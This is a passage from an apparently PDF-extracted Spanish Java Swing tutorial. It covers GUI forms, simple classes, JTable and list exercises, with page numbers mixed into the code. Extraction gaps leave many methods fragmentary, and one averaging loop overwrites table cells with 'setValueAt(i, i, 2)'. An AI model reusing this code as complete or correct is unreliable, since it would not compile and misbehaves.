private javax.swing.JButton jButton1;
private javax.swing.JButton jButton2;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JTextField jaltura;
private javax.swing.JTextField jarea;
private javax.swing.JTextField jbase;
// End of variables declaration
Y este va ser nuestro código:
public class Programa05 extends javax.swing.JFrame {
/**
* Creates new form Programa05
*/
public Programa05() {
initComponents();
}
/**
* This method is called from within the constructor to initialize the form.
123
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">
private void initComponents() {
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
jLabel1.setText("Base");
jLabel2.setText("Altura");
124
jalturaActionPerformed(evt);
}
});
jarea.setEditable(false);
jarea.setBackground(new java.awt.Color(0, 255, 0));
jLabel3.setText("Area =");
125
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel1)
.addGap(37, 37, 37)
.addComponent(jbase))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jLabel3)
.addComponent(jLabel2))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, 26, Short.MAX_VALUE)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jaltura)
.addComponent(jarea,
javax.swing.GroupLayout.PREFERRED_SIZE, 84,
javax.swing.GroupLayout.PREFERRED_SIZE))))
126
.addGap(246, 246, 246))
.addGroup(layout.createSequentialGroup()
.addGap(60, 60, 60)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jButton2)
.addComponent(jButton1))
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE,
Short.MAX_VALUE))))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel1)
.addComponent(jbase,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel2)
.addComponent(jaltura,
javax.swing.GroupLayout.PREFERRED_SIZE,
127
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(14, 14, 14)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jarea,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel3))
.addGap(34, 34, 34)
.addComponent(jButton1)
.addGap(18, 18, 18)
.addComponent(jButton2)
.addContainerGap(99, Short.MAX_VALUE))
);
pack();
}// </editor-fold>
128
jarea.setText(""+p.area());
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
129
*/
try {
java.util.logging.Logger.getLogger(Programa05.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(Programa05.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
130
java.util.logging.Logger.getLogger(Programa05.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(Programa05.class.getName()).log(java.
util.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
131
// Variables declaration - do not modify
private javax.swing.JButton jButton1;
private javax.swing.JButton jButton2;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JTextField jaltura;
private javax.swing.JTextField jarea;
private javax.swing.JTextField jbase;
// End of variables declaration
}
132
Ahora vamos ejecutar las dos opciones de nuestros botones:
133
5.2. Clases y Eventos
Bueno este ejercico estará un complejo y el primer paso será crear una
clase que se llame: “directorio”.
public class directorio {
String nombre;
String telefono;
int mes;
int dia;
directorio(){
nombre="";
telefono="";
mes=0;
dia=0;
}
directorio(String n, String t, int m, int d){
nombre=n;
telefono=t;
mes=m;
dia=d;
}
public void settelefono(String t){
telefono=t;
}
public String getnombre(){
return nombre;
}
134
public String gettelefono(){
return telefono;
}
public int getmes(){
return mes;
}
public int getdia(){
return dia;
}
public String validador(String n, String t, String m, String d){
String resultado="";
if (n.equals("")){
resultado="Nombre vacio";
}else{
if (t.equals("")){
resultado="Telefono vacio";
}else{
if(m.equals("01")||m.equals("02")||m.equals("03")||m.equals("04")||m.eq
uals("05")||m.equals("06")||m.equals("07")||m.equals("08")||m.equals("09
")||m.equals("10")||m.equals("11")||m.equals("12")){
resultado="Mes correcto";
}
}
}
return resultado;
}
}
135
El segundo paso es relacionar la clase directorio con la siguiente clase que
se llamara: “agenda”.
public class agenda extends directorio {
int dia;
int mes;
double hora;
agenda(){
//Con super se invocan las variables de la agenda
//This es para hablar de la misma agenda, puede o no usarse
super.nombre="";
super.telefono="";
super.dia=0;
super.mes=0;
this.dia=0;
this.mes=0;
this.hora=0.00;
}
136
}
Una vez que creemos nuestras clases vamos a crear nuestro Jframe donde
haremos uso de todos nuestros conocimientos hasta ahora:
public class ejercicio02 extends javax.swing.JFrame {
/**
* Creates new form ejercicio02
*/
int x=0;
directorio arreglo[]=new directorio[5];
/**
* This method is called from within the constructor to initialize the form.
137
private void initComponents() {
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
setLocation(new java.awt.Point(300, 300));
jLabel1.setText("Nombre:");
jLabel2.setText("Telefono:");
jLabel3.setText("Mes:");
jLabel4.setText("Dia:");
138
jTextField1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField1ActionPerformed(evt);
}
});
jTextField4.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField4ActionPerformed(evt);
}
});
jButton1.setText("Agregar");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
jButton2.setText("Consulta");
jButton2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton2ActionPerformed(evt);
}
139
});
jButton3.setText("Modifica");
jButton3.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton3ActionPerformed(evt);
}
});
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel1)
.addGap(18, 18, 18)
.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE, 272,
javax.swing.GroupLayout.PREFERRED_SIZE))
140
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jLabel2)
.addComponent(jLabel3)
.addComponent(jLabel4))
.addGap(13, 13, 13)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)
.addComponent(jTextField2,
javax.swing.GroupLayout.DEFAULT_SIZE, 272, Short.MAX_VALUE)
.addComponent(jTextField3))
.addGroup(layout.createSequentialGroup()
.addComponent(jTextField4,
javax.swing.GroupLayout.PREFERRED_SIZE, 100,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, 168, Short.MAX_VALUE)
.addComponent(jTextField5,
javax.swing.GroupLayout.PREFERRED_SIZE, 32,
javax.swing.GroupLayout.PREFERRED_SIZE))))))
.addGroup(layout.createSequentialGroup()
.addGap(156, 156, 156)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)
141
.addComponent(jButton2,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jButton1,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jButton3,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))
.addGap(0, 0, Short.MAX_VALUE)))
.addGap(31, 31, 31))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(30, 30, 30)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel1)
.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel2)
.addComponent(jTextField2,
javax.swing.GroupLayout.PREFERRED_SIZE,
142
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel3)
.addComponent(jTextField3,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel4)
.addComponent(jTextField4,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jTextField5,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(31, 31, 31)
.addComponent(jButton1)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)
.addComponent(jButton2)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)
143
.addComponent(jButton3)
.addContainerGap(24, Short.MAX_VALUE))
);
pack();
}// </editor-fold>
144
int d=Integer.parseInt(jTextField4.getText());
arreglo[x]=new directorio(n,t,m,d);
x++;
jTextField1.setText("");
jTextField2.setText("");
jTextField3.setText("");
jTextField4.setText("");
jTextField5.setText(""+x);
}
}catch(Exception e){
145
}else{
JOptionPane.showMessageDialog(null, "No se encontro registro");
}
}catch(Exception e){
146
if(i==x-1){
JOptionPane.showMessageDialog(null, "Nombre no
localizado");
}
}
}
}
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
//<editor-fold defaultstate="collapsed" desc=" Look and feel setting
code (optional) ">
147
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(ejercicio02.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(ejercicio02.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(ejercicio02.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(ejercicio02.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
148
// Variables declaration - do not modify
private javax.swing.JButton jButton1;
private javax.swing.JButton jButton2;
private javax.swing.JButton jButton3;
private javax.swing.JLabel jLabel1;
private javax.swing.JLabel jLabel2;
private javax.swing.JLabel jLabel3;
private javax.swing.JLabel jLabel4;
private javax.swing.JTextField jTextField1;
private javax.swing.JTextField jTextField2;
private javax.swing.JTextField jTextField3;
private javax.swing.JTextField jTextField4;
private javax.swing.JTextField jTextField5;
// End of variables declaration
}
Lo que esta marcado en amarillo son todos los elementos que necesitamos
de tal forma que se vea de esta manera, dentro de nuestro condigo viene
lo que va hacer nuestros botones que ya hemos programado y las
etuqietas que son las que van a capturar todos nuestros datos:
149
Imagen 1.64, Ejemplo del JFrame.
150
En la siguiente imagen se muestra que tenemos 2 datos llenos “se muestra
en el cucdrado azul”.
Y como siguiente paso coonlsultamos un número.
/**
* Creates new form ejercicio06
*/
public ejercicio06() {
initComponents();
}
/**
* This method is called from within the constructor to initialize the form.
151
* WARNING: Do NOT modify this code. The content of this method is
always
* regenerated by the Form Editor.
*/
@SuppressWarnings("unchecked")
// <editor-fold defaultstate="collapsed" desc="Generated Code">
private void initComponents() {
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
jTable1.setAutoCreateRowSorter(true);
jTable1.setModel(new javax.swing.table.DefaultTableModel(
new Object [][] {
},
new String [] {
"Nombre", "Edad", "Peso"
}
152
){
Class[] types = new Class [] {
java.lang.Object.class, java.lang.Integer.class,
java.lang.Object.class
};
boolean[] canEdit = new boolean [] {
false, false, false
};
jTextField1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField1ActionPerformed(evt);
}
});
jTextField1.addKeyListener(new java.awt.event.KeyAdapter() {
153
public void keyPressed(java.awt.event.KeyEvent evt) {
jTextField1KeyPressed(evt);
}
});
jTextField2.addKeyListener(new java.awt.event.KeyAdapter() {
public void keyPressed(java.awt.event.KeyEvent evt) {
jTextField2KeyPressed(evt);
}
});
jTextField3.addKeyListener(new java.awt.event.KeyAdapter() {
public void keyPressed(java.awt.event.KeyEvent evt) {
jTextField3KeyPressed(evt);
}
});
jButton1.setText("Inserta");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
jButton2.setText("Consulta");
jButton2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
154
jButton2ActionPerformed(evt);
}
});
jButton3.setText("Promedio Peso");
jButton3.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton3ActionPerformed(evt);
}
});
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)
.addComponent(jScrollPane1,
javax.swing.GroupLayout.PREFERRED_SIZE, 375,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
155
.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE, 119,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)
.addComponent(jTextField2,
javax.swing.GroupLayout.PREFERRED_SIZE, 119,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGroup(layout.createSequentialGroup()
.addGap(27, 27, 27)
.addComponent(jButton1)
.addGap(54, 54, 54)
.addComponent(jButton2)))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(10, 10, 10)
.addComponent(jButton3))
.addComponent(jTextField3))))
.addContainerGap(15, Short.MAX_VALUE))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()
156
.addContainerGap(19, Short.MAX_VALUE)
.addComponent(jScrollPane1,
javax.swing.GroupLayout.PREFERRED_SIZE, 188,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jTextField2,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jTextField3,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELAT
ED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jButton1)
.addComponent(jButton2)
.addComponent(jButton3))
.addGap(33, 33, 33))
);
157
pack();
}// </editor-fold>
Object datos[]=
{jTextField1.getText(),Integer.parseInt(jTextField2.getText()),Double.parseDou
ble(jTextField3.getText())};
DefaultTableModel model=(DefaultTableModel)jTable1.getModel();
model.addRow(datos);
jTable1.setModel(model);
}catch(Exception e){
}
jTextField1.setText("");
jTextField2.setText("");
jTextField3.setText("");
jTextField1.requestFocus();
}
158
jTextField2.requestFocus();
}
}
159
String a;
for(int i=0;i<3;i++){
a=jTable1.getModel().getValueAt(r, i).toString();
switch (i) {
case 0:
jTextField1.setText(a);
break;
case 1:
jTextField2.setText(a);
break;
default:
jTextField3.setText(a);
break;
}
}
}else{
JOptionPane.showMessageDialog(null, "No hay seleccion");
}
}
160
promedio=promedio+Double.parseDouble(jTable1.getModel().getValueAt(i
, 2).toString());
jTable1.setValueAt(i, i, 2);
}
JOptionPane.showMessageDialog(null, ""+(promedio/r));
}catch(Exception e){
JOptionPane.showMessageDialog(null, "Error"+e.toString());
}
}
/**
* @param args the command line arguments
*/
public static void main(String args[]) {
/* Set the Nimbus look and feel */
161
}
}
} catch (ClassNotFoundException ex) {
java.util.logging.Logger.getLogger(ejercicio06.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (InstantiationException ex) {
java.util.logging.Logger.getLogger(ejercicio06.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (IllegalAccessException ex) {
java.util.logging.Logger.getLogger(ejercicio06.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
} catch (javax.swing.UnsupportedLookAndFeelException ex) {
java.util.logging.Logger.getLogger(ejercicio06.class.getName()).log(java.uti
l.logging.Level.SEVERE, null, ex);
}
//</editor-fold>
162
private javax.swing.JButton jButton1;
private javax.swing.JButton jButton2;
private javax.swing.JButton jButton3;
private javax.swing.JScrollPane jScrollPane1;
private javax.swing.JTable jTable1;
private javax.swing.JTextField jTextField1;
private javax.swing.JTextField jTextField2;
private javax.swing.JTextField jTextField3;
// End of variables declaration
}
163
En esta imagen 1.67 se muestra que ya llenamos todos los campos que
tenemos tales como: Nombre, Edad y Peso.
Y consultamos los datos de Veronica, mostrándolos en la parte de abajo.
164
En la siguiente imagen 1.68 mostramos el peso promedio de todas personas
que insertamos.
Y lo hace con un mensaje que dice que el peso promedio es de 59.9.
165
5.3. API Swing
Swing es una biblioteca gráfica para Java. Incluye widgets para interfaz
gráfica de usuario tales como cajas de texto, botones, desplegables y
tablas.
Vamos a crear una clase que tenga el siguiente contenido:
166
this.calif1=calif1;
}
public float getcalif1(){
return calif1;
}
public void setcalif2(float calif2){
this.calif2=calif2;
}
public float getcalif2(){
return calif2;
}
public float promedio(){
float prom=(calif1+calif2)/2;
return prom;
}
}
/**,
* Creates new form Programa07
*/
int contador=0;
int tamano=10;
Programa06 alumnos[]=new Programa06[tamano];
DefaultListModel modelo1= new DefaultListModel();
167
DefaultListModel modelo2= new DefaultListModel();
public Programa07() {
initComponents();
for (int i=0;i<tamano;i++){
alumnos[i]= new Programa06();
}
jList1.setModel(modelo1);
jList2.setModel(modelo2);
jList1.setVisible(false);
jList2.setVisible(false);
}
/**
* This method is called from within the constructor to initialize the form.
168
jTextField2 = new javax.swing.JTextField();
jTextField3 = new javax.swing.JTextField();
jTextField4 = new javax.swing.JTextField();
jButton1 = new javax.swing.JButton();
jButton2 = new javax.swing.JButton();
jScrollPane1 = new javax.swing.JScrollPane();
jList1 = new javax.swing.JList<>();
jScrollPane2 = new javax.swing.JScrollPane();
jList2 = new javax.swing.JList<>();
jButton3 = new javax.swing.JButton();
jLabel5 = new javax.swing.JLabel();
jLabel6 = new javax.swing.JLabel();
jLabel7 = new javax.swing.JLabel();
jLabel8 = new javax.swing.JLabel();
jComboBox1 = new javax.swing.JComboBox<>();
setDefaultCloseOperation(javax.swing.WindowConstants.EXIT_ON_CLOSE);
jLabel1.setText("Número:");
jLabel2.setText("Nombre:");
jLabel3.setText("Calificación 1:");
jLabel4.setText("Calificación 2:");
169
jTextField2.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField2ActionPerformed(evt);
}
});
jTextField3.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField3ActionPerformed(evt);
}
});
jTextField4.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jTextField4ActionPerformed(evt);
}
});
jButton1.setText("Agrega");
jButton1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton1ActionPerformed(evt);
}
});
jButton2.setText("Consulta");
jButton2.addActionListener(new java.awt.event.ActionListener() {
170
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton2ActionPerformed(evt);
}
});
jList1.setModel(new javax.swing.AbstractListModel<String>() {
String[] strings = { "Item 1", "Item 2", "Item 3", "Item 4", "Item 5" };
public int getSize() { return strings.length; }
public String getElementAt(int i) { return strings[i]; }
});
jScrollPane1.setViewportView(jList1);
jList2.setModel(new javax.swing.AbstractListModel<String>() {
String[] strings = { "Item 1", "Item 2", "Item 3", "Item 4", "Item 5" };
public int getSize() { return strings.length; }
public String getElementAt(int i) { return strings[i]; }
});
jScrollPane2.setViewportView(jList2);
jButton3.setText("Revisa el modelo1");
jButton3.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jButton3ActionPerformed(evt);
}
});
jLabel5.setText("jLabel5");
171
jLabel6.setText("jLabel6");
jLabel7.setText("Retrazados");
jLabel8.setText("Aprobados");
jComboBox1.setModel(new
javax.swing.DefaultComboBoxModel<>(new String[] { "Item 1", "Item 2",
"Item 3", "Item 4" }));
jComboBox1.addActionListener(new java.awt.event.ActionListener() {
public void actionPerformed(java.awt.event.ActionEvent evt) {
jComboBox1ActionPerformed(evt);
}
});
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(21, 21, 21)
172
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addComponent(jLabel1)
.addComponent(jLabel2)
.addComponent(jLabel3)
.addComponent(jLabel4))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)
.addComponent(jTextField3,
javax.swing.GroupLayout.DEFAULT_SIZE, 89, Short.MAX_VALUE)
.addComponent(jTextField1,
javax.swing.GroupLayout.DEFAULT_SIZE, 89, Short.MAX_VALUE)
.addComponent(jTextField4))
.addComponent(jTextField2,
javax.swing.GroupLayout.PREFERRED_SIZE, 182,
javax.swing.GroupLayout.PREFERRED_SIZE)))
.addGroup(layout.createSequentialGroup()
.addComponent(jButton1,
javax.swing.GroupLayout.PREFERRED_SIZE, 75,
javax.swing.GroupLayout.PREFERRED_SIZE)
173
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE))))
.addGroup(layout.createSequentialGroup()
.addContainerGap()
.addComponent(jButton2)
.addGap(60, 60, 60)
.addComponent(jComboBox1,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(0, 0, Short.MAX_VALUE)))
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING, false)
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()
.addComponent(jButton3)
.addGap(67, 67, 67))
.addGroup(layout.createSequentialGroup()
.addComponent(jScrollPane1,
javax.swing.GroupLayout.PREFERRED_SIZE, 59,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(34, 34, 34)
.addComponent(jScrollPane2,
javax.swing.GroupLayout.PREFERRED_SIZE, 61,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addContainerGap())
.addGroup(layout.createSequentialGroup()
.addComponent(jLabel7)
174
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jLabel8)
.addGap(50, 50, 50))))
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()
.addContainerGap(javax.swing.GroupLayout.DEFAULT_SIZE,
Short.MAX_VALUE)
.addComponent(jLabel5)
.addGap(60, 60, 60)
.addComponent(jLabel6)
.addGap(49, 49, 49))
);
layout.setVerticalGroup(
layout.createParallelGroup(javax.swing.GroupLayout.Alignment.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(17, 17, 17)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jTextField1,
javax.swing.GroupLayout.PREFERRED_SIZE, 23,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addComponent(jLabel1)
.addComponent(jButton3))
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
175
.addGroup(javax.swing.GroupLayout.Alignment.TRAILING,
layout.createSequentialGroup()
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
, javax.swing.GroupLayout.DEFAULT_SIZE, Short.MAX_VALUE)
.addComponent(jComboBox1,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE)
.addGap(105, 105, 105))
.addGroup(layout.createSequentialGroup()
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.LEADING)
.addGroup(layout.createSequentialGroup()
.addGap(11, 11, 11)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel2)
.addComponent(jTextField2,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.RELATED
)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel3)
.addComponent(jTextField3,
javax.swing.GroupLayout.PREFERRED_SIZE,
176
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELAT
ED)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel4)
.addComponent(jTextField4,
javax.swing.GroupLayout.PREFERRED_SIZE,
javax.swing.GroupLayout.DEFAULT_SIZE,
javax.swing.GroupLayout.PREFERRED_SIZE))
.addGap(18, 18, 18)
.addComponent(jButton1)
.addGap(18, 18, 18)
.addComponent(jButton2))
.addGroup(layout.createSequentialGroup()
.addGap(53, 53, 53)
.addGroup(layout.createParallelGroup(javax.swing.GroupLayout.Alignmen
t.BASELINE)
.addComponent(jLabel7)
.addComponent(jLabel8))
.addPreferredGap(javax.swing.LayoutStyle.ComponentPlacement.UNRELAT
ED)
